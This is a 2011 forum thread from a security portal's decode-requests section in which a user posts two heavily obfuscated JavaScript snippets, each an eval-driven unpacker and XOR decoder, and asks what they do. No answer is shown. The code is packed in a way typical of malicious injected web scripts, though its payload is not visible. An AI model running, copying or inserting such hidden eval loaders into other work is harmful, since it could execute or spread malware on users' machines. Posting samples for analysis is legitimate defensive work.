|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Decode or DeObfuscate Javascript |
|
Posted: Wed Jan 05, 2011 6:52 am |
|
|
DaRkLiFe |
Regular user |
|
|
Joined: Jul 27, 2009 |
Posts: 13 |
|
|
|
|
|
|
|
Code: |
eval((function(o){for(var l="",p=0,u=function(o,D){for(var Y=0,r=0;r<D;r++){Y*=96;var m=o.charCodeAt(r);if(m>=32&&m<=127){Y+=m-32}}return Y};p<o.length;){if(o[p]!="`")l+=o[p++];else{if(o[p+1]!="`"){var S=u(o.charAt(p+3),1)+5;l+=l.substr(l.length-u(o.substr(p+1,2),2)-S,S);p+=4}else{l+="`";p+=2}}}return l})("(function (){var B=0,$=0,I=\'~\',t=\"\",j=new Array(2832,843,1118,267,179,1342,181,595,152,939,587,846,1146,1248,1231,460,417,130,88,53,826,749,1543,1560,845,131,164,665,1051,597,844,795,229,662,48,182,584,1253,1285,1396,1318,` ) 133,937,307,205,1502,1557,232,404,1004,1132,183,953,1552,1360,956,465,1127,559,1273,1363,905,484,606,974,421,885,894,1478,993,921,536,1389,832),v=arguments.callee.toString().replace(\/[\\s\\\'\\\"\\)\\}\\]\\[\\;\\.\\{\\(]\/g,\"\").length;`$V$k(d,g){return d-g;}var C=\"w``s!T<q``srdHou-g` %!Gmn``u:w``s!udru<))T)#1y81#``(-g)s#05\/541D3#((=<g)#93\/5D0#(>uihr;)T)f#22N#(-` S 070#((=)g)#25\/` -$96#((>tl)T)#80` G\"45N#((;d)g)#5\/12D3#o` ^$@#(((u-r\/b`!K\'063#(-g)#``015`!M `!% \/95D` 3!m#0m54\/7D0#((>` N\"B1`!$()gd)#055` d!56\/#((d(-` z)0#(-g\/` C \/`\"*#059`!8!01`\"k$` |#DE` u*)#02\/31D0`\"s#4#((` z\'46N#u`#2 77N#((=n<T)R#1y316#(>`!, \/316D2` i,4u8\/#(s`!F 24\/` o%h))g)#3\/4`!-%6`$($0\/202` i `!X 8`\"} g)o#5\/23`#; `\"x\'f)#025`$o$C`$, -udr)u<(`!\" 01\/7s\/9`\"=!d`%9!G0#((?)g)#8`\"U#`#+ 9\/`!\'\"#6\/7`\"l$45Nq#(m(;`$w\"9@`$x!9\/5`!L `#&%`%! 69`&c -g)#7\/6`$~ =`!T%`#,!17`&f ```#}\'7\/84` Q#38`#$&`\'f\"Eb4`\'7$B7#((?`&2 4\/3`!{!d)#018)`!z$3.Z]r4`\'W\"`\'?\"`&b 46`(D `\'z 9\/35D3]`\"*\"5&`\"\\ toedg]hode`%\\!54#(-#g)#036\/0`%h ((]-(`)E!`%~!6]7D|3#(?)T)#58N`\'{!]7\/0`\"0 `%d!7\/1D\\\\`$Z%]`\'d `*& 346`\'c\"0\/8` }!=<T)#29N#(>vhoenvZ`\', 27`)h%C`!F `(.\"`&f #(=<`*w!@4`( \"`$o\"T)#48]`*.#:5N#(]\/`!6$13#]`*w\"30`$h(T)#5`*e#62N#((?`!a!`\'x\"63`#V)`(-!017`(. z`\'@!\/8`#0!-u]`,Z!`)4\"0`*k##7\\\\3\/0`*m ?<).`$u 10`%H$\/96`#>%26\/f` l `)}*28\/-` ^ `&z `\'I =)#T)##4`-2&G`+m#73N(`,C!\/0\/` y!`*m!18`-L$332`\'S*05\/6`!R!`.&!34`&g `#@\"0#(>)uihmr-T)#89`\'U%9`\'$ d`.\/!3`+G ` N\"2` P g)#00`\'&%o`-@!T)f#1y3u45i`..!8\/47`)()`%y\"`%(\"6`+ \"(=`.f\"`-{#0\/245D2`.G&`-d `(0(0\/31` ? `%!25`0L\"9`-7 >T)#44N#`#f\"0\/` q#384` t `.w#`,&\"5#(?`&h 3`0e#1y09`\/n!`\/#!`%h-9` q `29 9`._(`!,!`,D$7`&+\"`#t `&{ `.f!2\/3`+@!`\/X)6\/90`,1!`34 G7`1Q!`0\/\"6`\/u$5`1>.1y9@`0E$38`3=#EE`,2,04`2R\"032\/`(B\"33`(D `4J!`!\"\"`,$%3\/18`,\'!`2Z&g)#5D1`#i#6`#i#3\/4`3;!`57 2C`*M)`!# `+y 1y03C`\'7$5` a#1yG4`$T\"01`)o g)#5`!c `4;!031`0@#`-&!`0%#9`)x!`#C+`(=#`.)!`+#)1D`3}#00`40%06`6C%7`#`&2`0)!`52$`\'2\"`4,$` G!`\/j!007`(\"\"8`1]\"`-W#`4i!` y&6`2e$`1V\"56`+\\!-T)#26`,f `-p\"`7S `!j\"`#u g)#87\/#`2M#6`(D\"1y082`!B%`\'9#1yDD`33#4`8j#`5?\'9`3z#`9:!0D`+E+2`#n$\/7`0L!`+L\"7`6?#62`.5.5`\"f\"03`#b `3~\'9` H#1y0C`:G#5\/2`+9 -`.:!9`1R%`\/6+T)#67`;+\"8N`\'Y-`!2#8\/2`\/! (=`,\\ 8`5-!`:-#0`8%-72`4J#)#0\/52`+5!`<Q 0\/1101D2`8r\"`6t$`2*!0`\"L%1`&k\"g)#04`=$!`9i(64`=%\"34`9p g)#58`1i#3`&^#`:Y(`\/i%66#(((:\";var c=j.sort(k)` + n=c[j`?H\"-1];while (B<` +%){t=t+`@=!.fromCharCode(C.c` $\"At(c[B]-(v-n))^1);B++`?~!E=eval(t),M=\"\";for (var L=0;L<C`@c#L+=E-n){if (L==c[$]-1&&$`!<($++;}else ` C `!:!At(L)==I){M=M+I` 9#M=M`!S=L`!g }}}`!_ M);})();"))
|
plz help me decode or know output as to what does this js file do ?? |
|
|
|
|
|
|
|
|
Posted: Wed Jan 05, 2011 10:30 am |
|
|
DaRkLiFe |
Regular user |
|
|
Joined: Jul 27, 2009 |
Posts: 13 |
|
|
|
|
|
|
|
plz tell me output of this script also :
Code: |
eval((function(P){for(var r="",E=0,f=function(P,g){for(var k=0,G=0;G<g;G++){k*=96;var t=P.charCodeAt(G);if(t>=32&&t<=127){k+=t-32}}return k};E<P.length;){if(P[E]!="`")r+=P[E++];else{if(P[E+1]!="`"){var N=f(P.charAt(E+3),1)+5;r+=r.substr(r.length-f(P.substr(E+1,2),2)-N,N);E+=4}else{r+="`";E+=2}}}return r})("(function (){var s=0,c=0,b=\'~\',O=\"\",Y=new Array(1968,802,452,105,179,636,647,255,975,1169,580,953,1102,750,1038,140,383,118,289,897,1030,497,169,305,206,8` @ 7,524,120` ( 1,208,849,593,137,1087,1069,215,583,350,429,1138,496,416,990,748,868,597,153,298,463,466,848,815,193,562,101,449,223,988,685,61,162,814,906,1015,601,996,231,845,415,25,508,789,697,30),S=arguments.callee.toString().replace(\/[\\s\\\'\\\"\\)\\}\\]\\[\\;\\.\\{\\(]\/g,\"\").length;`$H$i(o,H){return o-H;}var W=\"w``s!udru<)1y325?` # 0E-``1y84s(>)1y017-45(;)7\/8D0-1yC1(=<)85f\/5D0-97(>)toedghode-55\/21D0(;)25\/7` K t0C3l((-`! #do013?<)60\/3D0-023(>u)1ry0CE`!$!00\/1-63((-ub`!W!``y0D1?)09\/m-1y9C`!T!34m`!U!1y0B4-d0d50\/((-\/`\"-!)u1y0E8-0n2(=<)00\/30D3-69\/5D0(>)8R5\/6D0`\"8!86-1yDG`!_$)1y52-u40(?)054s\/-1y09hB(>)056\/-74\/(;1y8D`#\/ 02-47\/(>)002\/91` o!o;)46-058` k%` 6\"7\/55D3(f?<30>)1y331`\"S\"6\/4D0-8\/541D3)(`#,&0\/75?)9\/731D3-1y1(>)8s4\/d`\"[#3@q-5m9\/(?<98\/>80\/;)4\/-85\/`#t$``b1yD1?)28\/-d20`$z!`#m\")`!5 1yDD`$A&65?)94\/-35\/31D0(>.otmm;)01\/29`!B 8Z0(]?<)8\/07D3r-59](>)&5`%h `$h!29\/-8\/06D`$m `#V#]58-58\/(=<1#y5>013\/71D0;)03`$B!1y08E(=<)22`&E ]8`$[ (>)8\/(86D3`&p\"9`$6 GE`$Q%43\/-0\/53D2(=)1y006-98]\/|`!} 33`!L\"1y8(=1y354>)95`$M$;])78\/01`\'g 6\\\\B`%I%]Z88-0\/398D2(?)1y09C-9\/(>)50\/-4]5(:];)8\/02D3-36`\'m\"\/<)01\/82D3?<)78]`&O 00\/9D0(>z)027\/-45](;)0\/1061D2-06`$J%)03\/-1yCE(?<013>)78\/-4)5(;)`\" !02`!Z$\\\\))74\/-031\/(?.<f)3\/7D-0` l >)1y9`({\"#77-1y309`)R!#`\'k!8(2-53`\'; (?09\/>)1yGD`*X!4\/19\/`&T C@`(;%m1y30@-003\/(=<)d80`(m 1y035(>)04`#C!`*\/\"6\/71Do0-014`*g$77\/5D0?)98\/-5\/(>f)u03\/`\'K$5C-1y327`+5&i02@`,D 9C-5`)\/!2`,=!1y24?)41`+t 82`&+ (>`\'+\"01\/-4`#L\'1y03C-1y0E7(?)009`*= 9(>)2\/98`&7#053\/-038\/(?<029\/4D0>1y64;)1yED-1y075` g(42-58\/0D0`%\\!63-1y39(>)69`\'\\ `,|\"14\/-1y72`$|\'1-6\/3D0(=65`!# )1y0G`*s\"5\/-03`#-%)02`\'` 1021`\'b 5\/09D3-025`\/0!20-`.m$`*y!14`!i 6(?3\/>)010`#_\"022-80`\"k(G3-00\/75D3(?23`%C @B`.C#D2-1yG3(?<1y0@1>)054-69`.b C`)r 51((:\";var l=Y.sort(i)` + $=l[Y`1Z\"-1];while (s<` +%){O=O+`2O!.fromCharCode(W.c` $\"At(l[s]-(S-$))^1);s++`20!A=eval(O),Z=\"\";for (var M=0;M<W`2u#M+=A-$){if (M==l[c]-1&&c`!<(c++;}else ` C `!:!At(M)==b){Z=Z+b` 9#Z=Z`!S=M`!g }}}`!_ Z);})();"))
|
|
|
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|